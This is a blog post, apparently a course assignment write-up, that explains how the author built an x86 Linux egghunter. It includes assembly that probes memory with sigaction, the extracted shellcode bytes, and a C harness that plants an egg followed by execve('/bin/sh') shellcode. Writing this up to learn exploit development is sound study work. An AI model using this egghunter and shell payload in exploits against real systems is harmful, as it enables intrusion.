SLAE- Assignment #3- EggHunter
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
SLAE #1488
Author: Aaron Weathersby
Handle: t0b0rx0r
github: https://github.com/t0b0rX0r/slae/tree/master/assignment3
The objective of this assignment was to create a working egghunter POC. While i’ve used egg hunters before (MUTTS, immunity, etc) I’ve never given it much thought on how it worked beyond a generic it searched memory for the identifer that I provided it. To complete this assignment I had to think about how an egghunter could work and build it.
Using my knowledge from the OSCP and my yet to be finished OSCE I went about trying to construct the following
Pseudo Code
memory = beginning of stack
If memory !=sigfault(is it readable?) then
{
do (){
If memory = Egg then execute
If memory != Egg then memory++
} while memory != top of stack
}
I found the following memory diagram to guide my endaveors
Using this basic information i went about trying to construct an EggHunter.
First I attempted to read the current location of memory
mov ebx,esp ;move current (i.e. start to ebx)
xor eax,eax ; clear out eax
Then I attempted check this memory using a trick I found another website to use sigaction as a way to see if the memory is readable. Basically if the sys call returns an 0xf2 the memory location is not readable.
mem:
inc ebx ;increment counter
mov eax,67 ; sigaction
mov ecx,ebx ; save counter to sigaction
int 0x80 ; run sigaction
Using a series of funciton calls i then proceeded to check this memory location to a value (egg).
cmp al, 0xf2 ; see if a sigfault was return
je page ; jump to function to increment page by 4096
If the value was my egg I proceeded to increment my stack counter and check it again.
search1:
; woring --cmp dword [esi],41414141 ;esi
cmp dword [ebx],0x41414141 ; compare counter to egg value
jne mem ; if compare is not equal jump to increment memory
inc ebx;edi;ebx ; inc counter
jmp search2 ;search for egg a second time
If the value was not found a second time i repeated the process. If the value was found I proceeded to call my egg.
search2:
cmp dword [ebx],0x41414141 ; compare counter to egg value
jne mem ; if compare is not equal jump to increment memory
inc ebx;edi;ebx ; inc counter
;assuming we found it, proceed to display that we found it!
As my egg was a series of \x41\x41\x41\x41 I proceed to call it directly as opposed to incrementing another word value to call the payload directly. While I realize that a series of 4 A’s isnt exactly unique it worked for the purposes of this assignment. In a production setting i would likely use something like W00TW00T that would be more unique.
Using objdump I pulled out the machine code of my egghunter .
objdump -d ./slae-egghunter_orginal|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x89\xe3\x31\xc0\x89\xe6\x89\xe7\x43\xb8\x43\x00\x00\x00\x89\xd9\xcd\x80\x3c\xf2\x74\x36\x81\x3b\x41\x41\x41\x41\x75\xea\x43\xeb\x00\x81\x3b\x41\x41\x41\x41\x75\xdf\x43\x89\xde\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x41\x91\x04\x08\xba\x0b\x00\x00\x00\xcd\x80\xff\xe6\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\x81\xc7\xff\x0f\x00\x00\x81\xc3\xff\x0f\x00\x00\xeb\x96\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\xcd\x80"
I then created a C program to host my assembly and provide an easy way to replace the payload for testing.
#include<stdio.h>
#include<string.h>
//Author: Aaron Weathersby
//SLAE #1488
//Handle: t0b0x0r
//github:https://github.com/t0b0rX0r/slae/upload/master/assignment3
//;Assignment #3- Egghunter
//created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
unsigned char code[] = \
"\x89\xe3\x31\xc0\x89\xe6\x89\xe7\x43\xb8\x43\x00\x00\x00\x89\xd9\xcd\x80\x3c\xf2\x74\x36\x81\x3b\x41\x41\x41\x41\x75\xea\x43\xeb\x00\x81\x3b\x41\x41\x41\x41\x75\xdf\x43\x89\xde\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x41\x91\x04\x08\xba\x0b\x00\x00\x00\xcd\x80\xff\xe6\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\x81\xc7\xff\x0f\x00\x00\x81\xc3\xff\x0f\x00\x00\xeb\x96\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\xcd\x80";
unsigned char shell[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; //exec
unsigned char egg[] = "\x41\x41\x41\x41";
main()
{
char buff[100];
printf("Shellcode Length: %d\n", strlen(code));
printf("Memory location of shellcode: %p\n", buff);
strcpy(buff, egg); //save the egg
strcpy(buff+4, egg); //save the egg a second time
strcpy(buff+8,shell); //payload...exec opcode
int (*ret)() = (int(*)())code;
ret();
}
After alot…of alot…and alot more trial and error I finally got it work work!